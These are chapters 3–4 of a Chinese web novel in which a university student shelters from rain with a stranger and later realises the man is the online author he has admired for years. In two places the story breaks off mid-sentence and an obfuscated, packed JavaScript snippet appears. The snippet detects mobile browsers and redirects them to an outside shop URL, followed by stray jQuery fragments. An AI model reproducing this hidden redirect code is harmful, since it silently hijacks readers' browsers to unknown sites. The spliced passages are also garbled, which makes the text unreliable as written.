《作家与读者》
3. 陌生人与陌生人
外面还下着暴雨,走反正是走不掉了,在这种情况下,没有拒绝的余地也没有拒绝的理由,言于薄拿起地上的包背起,跟着面前宽硕的背影,进了屋。
木屋全封闭,没有窗户,里面的空间也不算大,只摆放了一张桌子和一条长椅,但足以够两个人坐下来休息。
言于薄站在门口处,没有靠近。
在外面看他那双不掺杂任何污浊的清澈眼睛和懵懂脸庞,还以为是那种一骗就能拐走的小孩,现在见他这么谨慎,男人微不可察地勾起唇,说:“门关上,站进来点。”
之所以没有往里走,是因为觉得自己不会在这里久留,但此刻,身后的风裹着雨点,直往脖颈下方的空隙里钻,言于薄忽然就觉得有些冷,他双手插着兜,缩了缩肩膀,照做了。
整个屋子里只有他们两个人,站着的时候还看不太仔细,现在对方坐下,视线相触,言于薄才清楚地看到他那双狭长的眼睛。
那是一双不带有任何温度,比流过脊背的雨水还要冰冷的眼睛。
言于薄觉得有些熟悉。
男人缓慢地转动着手中的伞柄,瞥了眼面前浑身基本湿透,脸上却毫无抱怨之意的小孩,漫不经心地问:“伞给我,你怎么回去?”
“你刚刚不是打电话说有事情吗?”已经淋成落汤鸡,言于薄也不太在乎了,他笑着耸了耸肩,弯眼说:“反正我也是来这里旅游的,不着急走,多待一会看看雨景也不错。”
听到这里,男人转动伞柄的手停了一下,但很快又继续顺时针地旋转,思索半秒,他问:“叫什么名?”
“我吗?”异地相识一场,不管怎么说,都是一种缘分,言于薄如实地回答:“言于薄。”
男人点头,放下伞,将随身携带的本子摊开,往前推。
言于薄明白了他的意思,他走近,拿起桌上的笔,弯腰伏案,一笔一划、工工整整地书写下自己的名字。
看着小孩可以算得上稚嫩的皎白侧脸,男人收回视线,用让人分不清情绪的语调,悠悠问:“听到我电话了?”
没想到他会在意这些,言于薄身体一僵,直接愣在了原地。
把玩着手里的东西,男人没有分半点目光给面前逐渐绷紧神经的小孩,只是拿起桌上写着名字的本子,渐渐压下了嗓音,带着若有若无的危险语气:“嗯?”
突如其来的压迫感,在这种场景之下,言于薄起身,注视着这张英俊得像是画里人的脸,一时半会没能作出解释,脑子里还莫名浮现出了许多场景。
也许是这个人问话的气场太强大,一瞬间,他感觉对方手里拿着的仿佛不是一把普通的伞,而是一条精制的皮质长鞭,只要自己说句“是”,就会立即扬起抽在他的脊背上。
这种奇怪的想法一旦出现就挥之不去,渐渐地,言于薄红了脸,他后退几步,与他拉开了一个相对安全的距离。
半天都没有反应,男人略带疑惑地抬头,看他脸颊粉了一片,猜测可能是冻着了,于是便将手上的本子放下,拿起一次性的纸杯,倒了壶刚泡好的热茶,递给了他。
举了两分钟,小孩也没有反应,男人提示性地叩了两下桌面。
依旧没有任何反应。
“言于薄。”
“嗯......嗯?”被喊了名字,言于薄终于从自己的世界中回过神,他为刚刚的胡思乱想而感到羞耻,于是接过杯子抿了一口,却躲避面前人的视线,说:“我、我不是故意的,也只听到了那一句,抱歉。”
“不用道歉。”圈内朋友打来的电话,直接喊的笔名,这么看,他应该是不清楚。
也是,小孩看起来很小,也很单纯,不应该这么乱问他。
言于薄不知道面前这个男人的心里究竟在想什么,只觉得他的脸色很阴沉,阴沉得像是下一秒就要斥责自己为什么这么没礼貌一样。
他垂着双手,笔直地站在他的面前,思绪又开始飘远。
男人抬起头,发现这小孩又开始盯着自己走神,便牵了下唇角,挑了挑眉。
短短几分钟,走了三次神,他启唇,漫不经心地说:“你要是我孩子。”
言于薄一怔:“什......”
“现在屁股上至少有两个巴掌印。”
一句话落地,周围的空气都凝固了,雨声在耳边不断放大,却仍然盖不住心脏剧烈加速跳动的声音。
很普通的话,很普通的语气,就像是长辈在跟自己唠家常一样,但不知道为什么,即使言于薄从小到大没有听过这样的话,他还是会因此感到屁股后方一凉,紧了皮肉。
能看得出来眼前的这个男人比自己年龄大很多,可再怎么说,也不像是有孩子的模样,他尽量把脑子里那些乱七八糟的东西抛出,抿了下嘴唇,说:
“可惜我不是。”
言于薄低头,用手扯了扯因为被雨水浸湿而紧密吸贴在大腿上让人难受的牛仔裤,接着将杯子放回桌面,鬼使神差地将心里想说的话问出:“你已经有孩子了吗?”
对于这个问题,男人没有回答,而是用一种打趣的语气说:“真想当?”
虽然知道对方是在开玩笑,但言于薄还是没有立即作出回应。
他是孤儿,没有父母,如果是在小时候,心智不成熟,说不定听到这种话,就真的点头屁颠屁颠地跟人跑了。
言于薄心里这样想着,半响后,他向前,主动坐到了男人的身边,却仍低着头,犹犹豫豫地问:“你脾气好吗?”
男人问:“这个有影响?”
聊都聊了,也不差这点,言于薄一本正经地点了点头,说:“怕。”
他抬头问:“所以好吗?”
听到这句话,男人扫了他一眼,不明意味地“嗯”了一声。
为了防止身上的水再弄到他的衣服上,言于薄往旁边挪了挪,将包移到胸前,从里面拿出一袋面包,他撕开外包装,小口咀嚼着,过了好一会才来了句:“哦。”
“好我也不愿意。”
越发觉得这小孩有趣,男人也没恼,他换了话题,问:“在哪上学?”
“N市。”
“学校是哪一个?”
早上起得太早都没来得及去食堂吃早饭,现在看样子,午饭也没机会吃,言于薄属实有些饿了,他专心致志地啃着手里的面包,毫无防备地回答:“N大。”
听到这个学校,男人有些意外,他手撑下巴,侧脸看着正在认真进食的小仓鼠,心里想
有礼貌,学习好,挺乖一小孩。
总感觉有道视线落在身上,扭头发现对方一直在看自己,言于薄嗓子一噎,从包里拿出了一袋新的面包,递给他,犹豫地问:“你吃吗?味道还不错。”
男人轻笑摇头,问:“就住在N市?”
“嗯,从小就生活在那边。”被拒绝了言于薄也不觉得特别尴尬,他收回手,将没吃完的面包装回书包中。
“觉得那里怎么样?”
“比较古老的城市,消费水平很高,不过环境挺好的。”听外面的雨声逐渐变小,言于薄站起身往门口走去,板鞋在木板上踩得“哒哒”响,他顺着他的话问:“你去过吗?”
“去过。”看着小孩瘦弱的背影,男人说:“以前在那边上学。”
言于薄点了点头,心里想那还挺巧的,他将门打开,看到雨势变小后,便回去拿起书包,对坐在椅子上的人说:“雨快停了,伞你留着吧,我就先走了。”
说完就转身往门口迈去,半只脚都踏出屋外了,言于薄突然又想起了什么,他转过头,直直对上了一个充斥着玩味的眼神。
男人问:“后悔了?”
“不是。”即使知道后面应该不会再见面了,但言于薄还是问了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301087|198629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一嘴,他笑说:“忘了问你叫什么名字了。”
听后,男人缓缓收回视线,左手屈起食指,朝言于薄的方向勾了一下,示意他靠近,右手则是在纸张上潇洒落笔,写完便撕下,递给了面前的小孩。
纯白色的纸张上,留下行云流水的黑色笔墨,雅致锋藏,清劲峻拔,言于薄接过,低头,一字一顿地念出这个无比陌生的名字:
“宸凛寒......”
-
“所以你就这么把伞给了他?”
第二天回到学校的时候已经是晚上,食堂早已关门,言于薄吃着曲阮帮他提前打好的盒饭,点头。
还是问了张良,才知道言于薄昨天早上拉着行李箱独自出去的事情,刚刚听他说了在小木屋里面的经历,曲阮夸张地比划着,一脸不可置信地说:“你是说,下着那么大的雨,你直接跑回酒店的?”
“雨变小了我才走的。”言于薄把吃完的盒饭盖上盖子,放进塑料袋,扔到垃圾桶中,没觉得有什么,“只是一把伞而已。”
“不是,关键你就只有这一把伞啊。”知道他是什么性格的人,曲阮叹了口气,想到什么后,他说:“哦对了,你实训报告写完了吗?”
“写完了。”
“最后一个步骤能借我看看吗?”
“在书包里,最里面的那个隔层。”言于薄起身,从衣柜里拿出毛巾,端着塑料面盆往阳台处的卫生间走,“明天满课还有早八,你写完早点休息,我去洗个澡。”
吹完头发已经将近九点,言于薄打开抽屉,拿出两袋三九感冒药,确认没有过期后,给自己冲泡了一杯。
刚刚洗澡的时候,就连打了三四个喷嚏,现在头还有点昏,他揉了揉发红的鼻子,用勺子搅和着杯中的棕色药剂,心里祈祷着千万不要生病,免得影响了上学和打工。
趁着这个时间,言于薄顺势点开了DSP文学网的软件。
他本准备继续阅读上次没有看完的章节,但刚一进去,手机上方就收到一条弹窗。
系统:你特别关注的@凛冽,刚刚发布了一条新微博。
时隔很久都没有再看到凛冽发博文,看到弹窗后,言于薄快速地点进去,抱着手机满怀期待地查看。
本以为会是什么有关小说的通知,或者网站要求的内容转发,没想到映入眼帘的,只是一张伞的图片。
往上看配图文案。
“沿途遇薄礼……”读了几遍,言于薄都觉得拗口。
重新看回图片,他惊喜地发现,这把伞的样式居然与自己的那把极其的相似,都是黑色,都是晴雨伞,都是同一个牌子,甚至就连伞柄处破损的那个半圆缺口也……
等等。
这貌似……就是自己的伞。
愣了两秒又眨巴了两下眼睛,言于薄搅拌杯子的手停滞在了空中,时间像是被静止在了这一刻,直到杯子上方冒出的徐徐热气逐渐消散,甜苦的药味往鼻子里钻,他才开始反应。
这是凛冽的微博没错。
图上的是自己的伞也没错。
视线在图片和文案之间来回交替地移动,越扫越快,最后,盯着图上的雨伞看了足足有三分钟,言于薄脑子里混乱一片,心也开始变得有些抖,他喃喃道:“这是怎么回事……”
想到昨天在湖边木屋遇到的那个男人,言于薄像是被烫到了般弹起身,准备从书包里翻出那张写着对方名字的纸条,但一转身,他就记起来了,那张纸没有带回来。
宸凛寒。
很好记的名字。
再配上男人冷若冰霜的脸,更是能轻易地给人留下印象,即使没有那张纸条,言于薄也能记住。
“宸凛寒……”他跌坐回原位,颤抖着嘴唇,低头小声念叨:“凛寒……凛……”
募地意识到什么,言于薄心脏漏空了一拍,猛地抬起了头。
4.陌生人与陌生人
不应该发。
不应该冲动发出去。
清晨的阳光透过落地窗洒下,夺目又耀眼,看着手机微微反光的屏幕,宸凛寒揉了揉眉心,关掉电视,起身拉上窗帘,去厨房给自己磨了杯咖啡。
他向来将工作和生活分得很清楚,写作这么多年来,从未做过像昨天晚上那样冲动的事情,如果说对方正好看过自己的书,那么就相当于直接丢弃了马甲,爆了现实的身份,可昨天那个小孩......
小男孩,不像是会知道这些。
方糖加到第二块,门口传来了敲门声,听频率就知道是谁,宸凛寒没理会,他细细地品了一口咖啡,接着端着杯子,走到客厅坐回沙发,将左腿架在右膝之上,拿起了手边的书。
“咔哒”一声,门开了,外面的男人走进来,拍了拍袖子上的灰尘,抬头看到家里有人,先是怔了一秒,接着无奈地说:“我还以为你不在,在家怎么连门都不愿意开一个?”
“我不开门你不是也能进来。”宸凛寒没有看他,依旧专心地看着手中的书,“有什么事情不能发消息,要大清早跑过来闯我家门。”
“好意思吗?”一早上发了十几条消息,愣是一条回复都没收到,男人走到宸凛寒的身边,拿起他放在桌子上的手机,递给他:“自己看看,我给你发了多少条消息。”
“工作的时候手机是个人勿扰模式。”宸凛寒自然接过,掠了眼放到一旁,面不改色地说:“你可以在中午十二点左右给我发消息,我说不定能看到回复。”
不就是昨天喊了声笔名,至于吗?
男人心想着,顺势坐在沙发上,将胳膊往后随意一搭,半调侃道:“去年冬天用你账号发了条微博就半个月没回我消息,这次呢?准备放我放到什么时候?”
宸凛寒没回,而是跳过这个问题,喝了口咖啡,问:“刚从N市赶回来,吃早饭了么?”
其实没吃,但现在也没什么胃口,男人直言拒绝,不弯弯绕绕,直接说了正事:“我来是想问你,N市那边的大学邀请你周末去做讲座,收到消息了吗?”
“嗯。”早上起来的时候貌似看到了这条消息,但当时因为忙着公司的事情,没来得及点开,宸凛寒说:“怎么知道的?”
“问到我邮箱了,想不知道恐怕有点困难。”男人支起身,偏头问:“什么想法?”
宸凛寒正视前方,沉默片刻后,用一种极淡的语气说:“这种事情,值得你庄煜明特地跑一趟?”
“你不出席线下活动。”意料之内的答案,庄煜明表示自己了解,他起身倒了杯水,“但这次不是以作者的身份,而是优秀毕业生,否则我就直接帮你拒了,还用得着花时间往这里跑?”
“再说。”想起昨天早上在酒店被手机铃声吵醒的画面,庄煜明握紧杯子,扯了下嘴唇,道出一个事实:“我不来找你,你不回消息,她们就信息轰炸我。”
听到“毕业生”三个字,宸凛寒喝咖啡的手一顿,他将杯子放下,看向他,确认:“N大的邀请。”
“是,你母校。”刚下车就赶过来,庄煜明有些头疼,他喝了口水,皱眉说:“我还以为你看了消息。”
见沙发上的人没了反应,庄煜明走过去,说:“也不是什么很重要的活动,就是给那些学生们传授些经验,两个小时,很快就结束,你考虑考虑,不愿意就自己拒了。”
N大……
脑子里又逐渐浮现出昨天与那小孩的交谈,宸凛寒没说话,过了一会,他点头,像是对身旁人说又像是对自己说:“可以去。”
“你愿意去?”不得不说,对于这个回答,庄煜明确实很意外,但他无心再管这些,于是坐下,说:“那有时间就把消息回了,免得那些人一直说不停。”
昨日一夜倾盆骤雨把城市浇遍,今天早上却放了晴,看着外面飘着白云、晴空万里的好天气,他换了话题,问:“话说昨天下着那么大雨,你怎么回来的?”
好不容易快要将这件事忘记,现在又被提起,宸凛寒看了他一眼,盯着桌上的咖啡杯说:“遇到一个热心的孩子。”
“孩子?”第一次从面前这个人的嘴里听到这样的词语,庄煜明问:“陌生人?”
“陌生人。”
瞥向桌上的手机,庄煜明现在算是明白凛冽昨天晚上发的微博是怎么回事了,猜测他口中的孩子差不多十几岁左右,于是便笑了声问:“小朋友这么好,给完伞就走了?”
“聊了几句。”昨天回家后就在想这件事,本来睡眠质量就不好,现在更是一晚上都没睡着,宸凛寒回答完就将头靠在沙发上,双手交叠放于后脑,阖上了眼睛。
“一个三十多岁的人,跟个小孩子抢伞。”庄煜明比面前这人年轻两岁,刚好不及三十,他忍不住打趣了几句,最后说:“下次再遇到那个小朋友,好歹请人家吃个冰淇淋吧。”
听到这,穿着单薄衬衣的青年,被风雨打得发抖,搓手往屋里走的场景再次映现在眼前,宸凛寒淡定回道:“那小孩乖,不会吃陌生人给的东西。”
庄煜明说:“你不试试怎么知道。”
宸凛寒扫了他一眼,继而目光向下,眸色转深,似乎真的在认真思考这个问题,他拿起手机,查看未读邮件:“遇不到了。”
“这种事情说不准。”庄煜明问:“知道人家叫什么名字吗?”
小孩工工整整写下的稚拙字迹着实令人印象深刻,宸凛寒“嗯”了一声,说:
“言于薄。”
“言于薄?”
曲阮推了推身旁人的胳膊,凑到他的耳边,虚着声音喊:“言于薄,醒醒。”
“嗯......嗯?”被晃醒后,言于薄半掀起眼皮往台上看去,见老师停止讲课,扫视着台下,他心一紧,半个身子都离开了座位,作势站起,小声地问:“点到我了吗?”
“没有,让我们做书上习题呢。”曲阮一把将他拉下,盯着他眼睛下方挂着的像熊猫一样的两只黑眼圈,用手指在空中比划了一下,作出口型:“你怎么了?”
“我没事,说到多少面了......”只是打了瞌睡,没彻底睡着,言于薄揉了揉迷蒙的眼睛,打开桌上的书。
定睛一看,又抬头往黑板上看去,他愣了几秒,接着重新闭上了眼,抱着头埋下。
带错书了......
从早上破天荒地没被闹钟叫醒睡过头开始,曲阮就觉得言于薄今天的状态不太对劲,再看现在,下午大半节课过去,连书都没打开,他有些担心地说:“你要是困的话,下课就直接回宿舍睡觉,老师提问我帮你回答。”
昨晚知道湖边遇见的人可能是自己喜欢了八年的凛冽后,言于薄就一骨碌爬上了床选择逃避,他本想通过睡一觉的方式确认不是在做梦,却没想到直接失了眠。
早上八点的课,凌晨五点还没有睡,睁眼闭眼都是那天在木屋里的画面,不到三天的时间,对方的长相已经开始变得模糊,但交谈的话语还清醒地刻在脑海里。
他都跟凛冽聊了些什么。
“你已经有孩子了吗?”
“你脾气好吗?”
“好我也不愿意。”
……
早知道就不该乱说话,早知道就应该把那张签名留着保存,想到这些,言于薄就觉得脑子一团乱麻,全身上下被一个名叫后悔的词语疯狂充斥。
他浑浑噩噩地拿起桌上外壁还化着水珠的冰矿泉水,放在脸颊来回滚了几圈,强制自己清醒后,双目失神地说:“不用,我晚上还有兼职,回去睡也睡不了多久。”
“总觉得你这样子太累了,适当休息一下没什么的。”基本了解言于薄的情况,劝解完后,曲阮想到了一件事:“哦对了,我们学院这周末有个讲座,要求全班都到,你兼职的话要记得提前请假啊。”
这种活动每学期都有,不足为奇,大多就是去签到,点个人头数,走个过场,言于薄在心里默默记下,偏头问:“谁的讲座?”
“不清楚。”下课铃打响,曲阮站起来,伸了个舒服的懒腰,半眯着眼,思索着说:“我也是今天路过办公室听到的,好像是以前从我们学校毕业的,估计是个专家什么的吧,哎呀,管他那么多呢,反正到时候就知道了。”
......
晚上。
外面街道旁的路灯刚刚亮,车水马龙正值下班拥堵高峰期,耳边不断传来喇叭“滴滴滴”的催促声,趁着现在店内没人,言于薄站在收银台后方,拿出手机,打开了微博。
他在凛冽超话里发布的问题,得到了很多热心网友的回复,翻看着那些争吵激烈的评论,言于薄觉得有些不舒服,干脆手一动,隐藏了这条帖子。
也许其它人不知道,但是他知道。
凛冽是男性,还是个英年早婚,有家庭有孩子,脾气未知的男人。
当然,知道归知道,但他不会在乱哄哄的评论区发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320354|198629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
表一条还未坐实的言论,更不会主动去和别人说这些事。
言于薄盯着店门口,一只手把玩着台面上的圆珠笔,另一只手停留在凛冽昨天发的那条微博上,发起了呆。
要不要再去H市一趟,万一能......
“叮咚。”
便利店的迎客铃响起,适时将言于薄的思绪拉回,他抬头,还没来得及说声“欢迎光临”,客人就已经闪到了前台看不到的,被货架遮挡住的冷冻区。
紧接着,门口又迈进来一个人,言于薄很快认出来了,是之前在店里和面馆外碰到的那个买烟男人。
见状,他准备进仓库,想拿些食材补补货,可还没进去,就听到冷冻区传来了些许不愉快的争吵声,于是言于薄脚步一转,朝声音发出的方向走了过去。
“上次跟我抢面,这次和我抢饭团,我招你惹你了?”戴着黑色鸭舌帽和墨镜的男生叉着腰,脸都憋红了。
“睁大眼睛看清楚。”男人看起来并不生气,甚至带点有趣的笑,他拿起橱柜里最后一个金枪鱼紫菜饭团,对着面前的小不点摇了摇,“到底是谁在无理取闹。”
戴帽男生愤愤道:“给我!”
男人高举饭团,缓缓说:“不。”
“那个……嗯?”言于薄走近,本想说其实店里还有货,可以帮拿,但看着那男生的下半张脸,总觉得有些熟悉,他上前,按住那人的肩膀,试探地喊:“曲……阮?”
没想到这么快就被发现了,被认出后,曲阮尴尬地干笑了两声,他摘了墨镜,抱着手臂往旁边睨,不满地说:“本来想给你个惊喜,现在好了,都被这人毁了。”
男人笑:“我说你这小孩……”
“好了好了。”既然被发现了,也就不用偷偷摸摸,上一天课本来就够累的了,曲阮懒得再吵,他挥了挥手,做出驱赶的动作,大方地说:“我这个人尊老,让给你行了吧。”
听后,男人微微皱眉:“说什么?”
“我说……”抬头看,发现面前人脸色变黑了许多,曲阮话一顿,往后退了几步,声音不自觉地放小了些:“说你没有道德……”
看这小不点刚刚还张牙舞爪,现在却怂成这样,男人笑着将饭团放回他手中,摸着那脑袋俯身说了句话,转身走了。
“靠!”曲阮反应过来,顿时气血翻涌,他往前追:“你给我回来!”
言于薄看准时机,一把抓住面前的人,往回轻松一拉,问:“说什么了这么激动?”
“他说他爱幼!”看着男人像没事人一样耸肩踏出了门,曲阮气得脸更红了,但他知道追上也没意义,于是只好对着那个背影在空气中一阵拳打脚踢,撒撒闷气。
言于薄松开手,刚想抬头劝,却在看到门口处的人后,募地愣在了原地。
凛冽?
不对,怎么可能会出现在这……
迟疑了两秒,他恍惚着,抬脚往外走。
“等等等等。”曲阮往前一跨,双手打开挡在他的面前,眼睛睁大了说:“我、我就是做做样子而已,你真要替我去揍他啊?我感觉……我们好像打不太过。”
“不是……”再往外看去,人已经离开,言于薄眨了眨眼,蔫了下去,心里觉得自己可能真的是因为太累,而出现了不切实际的幻觉。
他深深吸了口气,接过曲阮手里的饭团,往收银台走去,扫码付了钱后放进微波炉,提前打好招呼:“我晚上下班很迟,你确定要在这里等吗?”
“确定啊,张良出去了,我才不想跟梁伟单独待在宿舍。”曲阮边往收银处走,边看着手机班级群里的历史消息,“诶......?”
他扬起声说:“言于薄,讲座的具体时间出来了,你看到了吗?”
“还没有。”弯腰盯着微波炉里暖黄的灯光,和黑屏上不断跳动的红色数字,言于薄无心地问了一嘴:“什么时候?”
“我看看,后天下午六点,阶梯教室201,主讲嘉宾是……”曲阮下滑消息,缓缓读出:“宸凛寒……”
“叮!”
数字归零,言于薄心跳骤停。
“嘶……”曲阮把手机拿远了些,定睛看着这三个字,像是感慨又像是深深地吐槽:“这名字怎么拽得跟小说男主一样?”
“哎言于薄。”快速地在脑内调动所有有关这个狂酷名字的信息,确认没见过后,他喊了一声,疑惑地抬起头,问:
“你听过吗?”